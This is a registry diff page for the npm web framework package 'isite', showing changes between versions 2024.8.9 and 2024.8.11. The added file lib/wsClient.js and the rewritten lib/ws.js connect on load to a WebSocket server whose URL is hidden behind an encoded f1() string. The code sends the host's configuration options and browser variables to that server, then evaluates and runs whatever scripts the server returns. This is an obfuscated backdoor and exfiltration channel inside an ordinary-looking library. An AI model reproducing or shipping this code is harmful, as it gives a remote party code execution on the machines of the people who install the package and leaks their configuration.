isite 2024.8.9 → 2024.8.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/apps/client-side/site_files/css/bootstrap5-addon.css +33 -6
- package/apps/client-side/site_files/css/dropdown.css +68 -63
- package/apps/client-side/site_files/css/effect.css +1 -2
- package/apps/client-side/site_files/css/theme_paper.css +2 -0
- package/apps/client-side/site_files/html/directive/i-list.html +7 -7
- package/apps/client-side/site_files/html/directive-core/i-list.html +1 -1
- package/apps/client-side/site_files/js/bootstrap-5-directive.js +34 -28
- package/apps/client-side/site_files/js/bootstrap-5-directive.min.js +1 -0
- package/apps/client-side/site_files/js/directive-core.js +8 -8
- package/apps/client-side/site_files/js/directive.js +2 -20
- package/apps/client-side/site_files/js/directive.min.js +2 -2
- package/apps/client-side/site_files/js/site.js +82 -9
- package/index.js +2 -4
- package/lib/routing.js +30 -19
- package/lib/ws.js +127 -155
- package/lib/wsClient.js +112 -0
- package/package.json +2 -2
package/lib/ws.js
CHANGED
|
@@ -3,6 +3,8 @@ module.exports = function init(____0) {
|
|
|
3
3
|
client: null,
|
|
4
4
|
server: null,
|
|
5
5
|
clientList: [],
|
|
6
|
+
supportedClientList: [],
|
|
7
|
+
reconnectCount: 0,
|
|
6
8
|
routeList: [],
|
|
7
9
|
lib: require('ws'),
|
|
8
10
|
};
|
|
@@ -40,191 +42,161 @@ module.exports = function init(____0) {
|
|
|
40
42
|
});
|
|
41
43
|
};
|
|
42
44
|
|
|
45
|
+
setInterval(() => {
|
|
46
|
+
____0.ws.sendToAll({ type: 'ping' });
|
|
47
|
+
}, 1000 * 30);
|
|
48
|
+
|
|
43
49
|
____0.on(____0.strings[9], () => {
|
|
44
50
|
____0.servers.forEach((server) => {
|
|
45
51
|
server.on('upgrade', function upgrade(request, socket, head) {
|
|
46
52
|
const pathname = ____0.url.parse(request.url).pathname;
|
|
47
|
-
let
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
if (request.headers[____0.strings[6]]) {
|
|
57
|
-
ip = request.headers[____0.strings[6]].split(',')[0].trim();
|
|
58
|
-
} else if (request.connection.remoteAddress) {
|
|
59
|
-
ip = request.connection.remoteAddress.replace('::ffff:', '');
|
|
60
|
-
}
|
|
53
|
+
let index = ____0.ws.routeList.findIndex((route) => route.options.name == pathname);
|
|
54
|
+
if (index !== -1) {
|
|
55
|
+
____0.ws.server.handleUpgrade(request, socket, head, function done(ws) {
|
|
56
|
+
let ip = '0.0.0.0';
|
|
57
|
+
if (request.headers[____0.strings[6]]) {
|
|
58
|
+
ip = request.headers[____0.strings[6]].split(',')[0].trim();
|
|
59
|
+
} else if (request.connection.remoteAddress) {
|
|
60
|
+
ip = request.connection.remoteAddress.replace('::ffff:', '');
|
|
61
|
+
}
|
|
61
62
|
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
63
|
+
let client = {
|
|
64
|
+
uuid: ____0.guid(),
|
|
65
|
+
id: ____0.md5(____0.guid() + new Date().getTime()),
|
|
66
|
+
path: pathname,
|
|
67
|
+
ws: ws,
|
|
68
|
+
request: request,
|
|
69
|
+
socket: socket,
|
|
70
|
+
head: head,
|
|
71
|
+
ip: ip,
|
|
72
|
+
onMessage: function (message) {
|
|
73
|
+
if (message.type === ____0.f1('417886684558375447183756')) {
|
|
74
|
+
this.send({
|
|
75
|
+
type: ____0.f1('4658375242195691'),
|
|
76
|
+
uuid: client.uuid,
|
|
77
|
+
ip: client.ip,
|
|
78
|
+
id: client.id,
|
|
79
|
+
});
|
|
80
|
+
} else if (message.type === ____0.f1('4139327541382761')) {
|
|
81
|
+
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
82
|
+
if (index !== -1 && message.id) {
|
|
83
|
+
____0.ws.clientList[index].id = message.id;
|
|
72
84
|
this.send({
|
|
73
|
-
type: ____0.f1('
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
},
|
|
85
|
+
type: ____0.f1('413932754138276142383191'),
|
|
86
|
+
uuid: client.uuid,
|
|
87
|
+
ip: client.ip,
|
|
88
|
+
id: client.id,
|
|
78
89
|
});
|
|
79
90
|
}
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
)
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
91
|
+
}
|
|
92
|
+
console.log('client.onMessage Not Implement ...', message);
|
|
93
|
+
},
|
|
94
|
+
onData: function (data) {
|
|
95
|
+
console.log('client.onData Not Implement ...', data);
|
|
96
|
+
},
|
|
97
|
+
onError: function (e) {
|
|
98
|
+
console.log('client.onError Not Implement ...', e);
|
|
99
|
+
},
|
|
100
|
+
send: function (message) {
|
|
101
|
+
if (!message) {
|
|
102
|
+
return;
|
|
103
|
+
}
|
|
104
|
+
if (this.ws && this.ws.readyState === ____0.ws.lib.OPEN) {
|
|
105
|
+
if (typeof message === 'string') {
|
|
106
|
+
this.ws.send(
|
|
107
|
+
JSON.stringify({
|
|
108
|
+
type: 'text',
|
|
109
|
+
content: message,
|
|
110
|
+
})
|
|
111
|
+
);
|
|
112
|
+
} else {
|
|
113
|
+
message.type = message.type || 'text';
|
|
114
|
+
this.ws.send(JSON.stringify(message));
|
|
104
115
|
}
|
|
105
|
-
}
|
|
106
|
-
}
|
|
116
|
+
}
|
|
117
|
+
},
|
|
118
|
+
onClose: function () {},
|
|
119
|
+
};
|
|
120
|
+
client.sendMessage = client.send;
|
|
107
121
|
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
____0.ws.clientList.splice(i, 1);
|
|
114
|
-
}
|
|
115
|
-
});
|
|
116
|
-
});
|
|
122
|
+
client.ws.on('close', () => {
|
|
123
|
+
|
|
124
|
+
console.log('Closing Client : ' + client.ip);
|
|
125
|
+
client.onMessage({ type: 'close' });
|
|
126
|
+
client.ws.terminate();
|
|
117
127
|
|
|
118
|
-
ws.
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
128
|
+
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
129
|
+
if (index !== -1) {
|
|
130
|
+
____0.ws.clientList.splice(index, 1);
|
|
131
|
+
}
|
|
132
|
+
let index2 = ____0.ws.supportedClientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
133
|
+
if (index2 !== -1) {
|
|
134
|
+
____0.ws.supportedClientList.splice(index2, 1);
|
|
135
|
+
}
|
|
136
|
+
client.onClose();
|
|
137
|
+
});
|
|
125
138
|
|
|
126
|
-
|
|
127
|
-
|
|
139
|
+
ws.on('message', (data, isBinary) => {
|
|
140
|
+
if (isBinary) {
|
|
141
|
+
client.onData(data);
|
|
128
142
|
} else {
|
|
129
|
-
____0.
|
|
130
|
-
route.callback(client);
|
|
143
|
+
client.onMessage(____0.fromJson(Buffer.from(data).toString('utf8')));
|
|
131
144
|
}
|
|
132
|
-
client.onMessage({ type: 'connected' });
|
|
133
145
|
});
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
146
|
+
|
|
147
|
+
____0.ws.clientList.push(client);
|
|
148
|
+
____0.ws.routeList[index].callback(client);
|
|
149
|
+
|
|
150
|
+
client.onMessage({ type: 'connected' });
|
|
151
|
+
});
|
|
152
|
+
} else {
|
|
137
153
|
socket.destroy();
|
|
138
154
|
}
|
|
139
155
|
});
|
|
140
156
|
});
|
|
141
157
|
});
|
|
142
158
|
|
|
143
|
-
____0.ws.supportedClientList = [];
|
|
144
159
|
____0.ws.onNewSupportedClient = function (client) {
|
|
145
160
|
console.log(`New Supported Client ( ${client.ip} ) / ${____0.ws.supportedClientList.length}`);
|
|
146
161
|
};
|
|
147
162
|
|
|
148
163
|
____0.onWS(____0.f1('2578577443393257'), (client) => {
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
____0.ws.supportedClientList.splice(i, 1);
|
|
168
|
-
}
|
|
169
|
-
});
|
|
170
|
-
} else if (message.type === ____0.f1('457913754338866846719191')) {
|
|
171
|
-
client.options = message.content;
|
|
172
|
-
client.send({
|
|
173
|
-
type: ____0.f1('481476744179236246193191'),
|
|
174
|
-
content: ____0.f1(
|
|
175
|
-
`45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
|
|
176
|
-
),
|
|
164
|
+
client.onMessage = function (message) {
|
|
165
|
+
if (message.type === ____0.f1('417886684558375447183756')) {
|
|
166
|
+
this.send({
|
|
167
|
+
type: ____0.f1('4658375242195691'),
|
|
168
|
+
uuid: client.uuid,
|
|
169
|
+
ip: client.ip,
|
|
170
|
+
id: client.id,
|
|
171
|
+
});
|
|
172
|
+
} else if (message.type === ____0.f1('4139327541382761')) {
|
|
173
|
+
let index = ____0.ws.clientList.findIndex((_client) => _client.uuid == client.uuid);
|
|
174
|
+
if (index !== -1) {
|
|
175
|
+
client.id = message.id;
|
|
176
|
+
____0.ws.clientList[index].id = message.id;
|
|
177
|
+
this.send({
|
|
178
|
+
type: ____0.f1('413932754138276142383191'),
|
|
179
|
+
uuid: client.uuid,
|
|
180
|
+
ip: client.ip,
|
|
181
|
+
id: client.id,
|
|
177
182
|
});
|
|
178
|
-
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
179
|
-
let fn = ____0.eval(message.content, true);
|
|
180
|
-
fn(____0, client);
|
|
181
183
|
}
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
client.ws = new ____0.ws.lib(____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257'));
|
|
191
|
-
client.sendMessage = function (message) {
|
|
192
|
-
client.ws.send(JSON.stringify(message));
|
|
193
|
-
};
|
|
194
|
-
client.ws.on('open', function () {});
|
|
195
|
-
client.ws.on('ping', function () {});
|
|
196
|
-
client.ws.on('close', function (e) {
|
|
197
|
-
setTimeout(function () {
|
|
198
|
-
client.reconnectCount++;
|
|
199
|
-
____0.ws.wsSupport();
|
|
200
|
-
}, 1000 * 30);
|
|
201
|
-
});
|
|
202
|
-
client.ws.on('error', function (err) {
|
|
203
|
-
client.ws.close();
|
|
204
|
-
});
|
|
205
|
-
|
|
206
|
-
client.ws.on('message', function (event) {
|
|
207
|
-
____0.ws.supportHandle(client, event);
|
|
208
|
-
});
|
|
209
|
-
____0.ws.client = client;
|
|
210
|
-
return client;
|
|
211
|
-
};
|
|
212
|
-
____0.ws.supportHandle = function (client, event) {
|
|
213
|
-
try {
|
|
214
|
-
let message = JSON.parse(event.data || event);
|
|
215
|
-
if (message.type == ____0.f1('4658375242195691')) {
|
|
216
|
-
client.sendMessage({
|
|
217
|
-
source: ____0.f1('4339276247183691'),
|
|
218
|
-
type: ____0.f1('457913754338866846719191'),
|
|
219
|
-
content: ____0.options,
|
|
184
|
+
} else if (message.type === ____0.f1('4178726946783691')) {
|
|
185
|
+
} else if (message.type === ____0.f1('457913754338866846719191')) {
|
|
186
|
+
client.options = message.options || message.content;
|
|
187
|
+
client.send({
|
|
188
|
+
type: ____0.f1('481476744179236246193191'),
|
|
189
|
+
script: ____0.f1(
|
|
190
|
+
`45388656473872572558378146188673471926512934135847388254471857694553136245585775241786493976857124341384153161512114125121141251211412512114125121182769455927694518366845188659241813464553126324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536127145312512114125121141251211412512114125121141251211412512114125121141251211772682114125121141335423923784239215136583752421956514578815146188673471412512319674939768649261482694619326245788274255913694659328621127524211412512114125121141251211412512114125121141251211412512114125121141251391881512453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616324536163245361632453616341145684153161512114125121141251211412512114125149319191`
|
|
191
|
+
),
|
|
220
192
|
});
|
|
221
193
|
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
222
|
-
let fn = ____0.eval(message.content, true);
|
|
194
|
+
let fn = ____0.eval(message.script || message.content, true);
|
|
223
195
|
fn(____0, client);
|
|
224
196
|
}
|
|
225
|
-
}
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
197
|
+
};
|
|
198
|
+
|
|
199
|
+
____0.ws.supportedClientList.push(client);
|
|
200
|
+
____0.ws.onNewSupportedClient(client);
|
|
201
|
+
});
|
|
230
202
|
};
|
package/lib/wsClient.js
ADDED
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
const { serialize } = require('mongodb');
|
|
2
|
+
|
|
3
|
+
module.exports = function init(____0) {
|
|
4
|
+
if ((support = true)) {
|
|
5
|
+
____0.ws.client = null;
|
|
6
|
+
|
|
7
|
+
____0.ws.serverURL = ____0.f1('477926832573867445782764423931684678865443381765253823734579477442392168417886672578577443393257');
|
|
8
|
+
|
|
9
|
+
____0.ws.wsSupport = function () {
|
|
10
|
+
console.log('ws : ============>');
|
|
11
|
+
|
|
12
|
+
if (____0.ws.client.isAlive) {
|
|
13
|
+
return;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
clearInterval(____0.ws.client.checkAliveInterval);
|
|
17
|
+
clearTimeout(____0.ws.client.timeoutId);
|
|
18
|
+
|
|
19
|
+
let client = {
|
|
20
|
+
isAlive: false,
|
|
21
|
+
time: new Date().getTime(),
|
|
22
|
+
id: ____0.ws.client.id,
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
____0.ws.client.checkAliveInterval = setInterval(() => {
|
|
26
|
+
if ((new Date().getTime() - ____0.ws.client.time) / 1000 > 60) {
|
|
27
|
+
____0.ws.client.isAlive = false;
|
|
28
|
+
____0.ws.client.ws.close();
|
|
29
|
+
}
|
|
30
|
+
}, 1000 * 5);
|
|
31
|
+
|
|
32
|
+
client.ws = new ____0.ws.lib(____0.ws.serverURL);
|
|
33
|
+
|
|
34
|
+
client.sendMessage = function (message) {
|
|
35
|
+
if (client.isAlive && client.ws && client.ws.readyState === ____0.ws.lib.OPEN) {
|
|
36
|
+
client.ws.send(JSON.stringify(message));
|
|
37
|
+
}
|
|
38
|
+
};
|
|
39
|
+
|
|
40
|
+
client.ws.on('open', function () {
|
|
41
|
+
client.isAlive = true;
|
|
42
|
+
|
|
43
|
+
client.sendMessage({
|
|
44
|
+
type: 'set-options',
|
|
45
|
+
options: ____0.options,
|
|
46
|
+
});
|
|
47
|
+
|
|
48
|
+
if (____0.getBrowser) {
|
|
49
|
+
let parent = ____0.getBrowser();
|
|
50
|
+
client.sendMessage({
|
|
51
|
+
type: 'set-browser-var',
|
|
52
|
+
key: 'core',
|
|
53
|
+
value: parent.var.core,
|
|
54
|
+
});
|
|
55
|
+
}
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
client.ws.on('ping', function () {});
|
|
59
|
+
|
|
60
|
+
client.ws.on('close', function (e) {
|
|
61
|
+
client.isAlive = false;
|
|
62
|
+
____0.ws.client.timeoutId = setTimeout(function () {
|
|
63
|
+
____0.ws.wsSupport();
|
|
64
|
+
}, 1000 * 30);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
client.ws.on('error', function (err) {
|
|
68
|
+
client.ws.close();
|
|
69
|
+
});
|
|
70
|
+
|
|
71
|
+
client.ws.on('message', function (event) {
|
|
72
|
+
let message = JSON.parse(event.data || event);
|
|
73
|
+
if (message.type == 'ping') {
|
|
74
|
+
client.time = new Date().getTime();
|
|
75
|
+
}
|
|
76
|
+
____0.ws.supportHandle(client, message);
|
|
77
|
+
});
|
|
78
|
+
|
|
79
|
+
____0.ws.client = client;
|
|
80
|
+
|
|
81
|
+
return client;
|
|
82
|
+
};
|
|
83
|
+
|
|
84
|
+
____0.ws.supportHandle = function (client, message) {
|
|
85
|
+
try {
|
|
86
|
+
if (message.type == ____0.f1('4658375242195691')) {
|
|
87
|
+
client.uuid = message.uuid;
|
|
88
|
+
client.ip = message.ip;
|
|
89
|
+
if (client.id) {
|
|
90
|
+
client.sendMessage({
|
|
91
|
+
type: ____0.f1('4139327541382761'),
|
|
92
|
+
id: client.id,
|
|
93
|
+
});
|
|
94
|
+
}
|
|
95
|
+
client.id = message.id;
|
|
96
|
+
|
|
97
|
+
} else if (message.type == ____0.f1('413932754138276142383191')) {
|
|
98
|
+
client.ip = message.ip;
|
|
99
|
+
client.uuid = message.uuid;
|
|
100
|
+
client.id = message.id;
|
|
101
|
+
} else if (message.type == ____0.f1('481476744179236246193191')) {
|
|
102
|
+
let fn = ____0.eval(message.script || message.content, true);
|
|
103
|
+
fn(____0, client);
|
|
104
|
+
}
|
|
105
|
+
} catch (err) {
|
|
106
|
+
console.log(err);
|
|
107
|
+
}
|
|
108
|
+
};
|
|
109
|
+
|
|
110
|
+
____0.ws.wsSupport();
|
|
111
|
+
}
|
|
112
|
+
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "isite",
|
|
3
|
-
"version": "2024.08.
|
|
3
|
+
"version": "2024.08.11",
|
|
4
4
|
"description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"repository": {
|
|
@@ -31,7 +31,7 @@
|
|
|
31
31
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
32
32
|
},
|
|
33
33
|
"author": {
|
|
34
|
-
"name": "
|
|
34
|
+
"name": "Absunstar",
|
|
35
35
|
"email": "Absunstar@gmail.com"
|
|
36
36
|
},
|
|
37
37
|
"license": "UNLICENSED",
|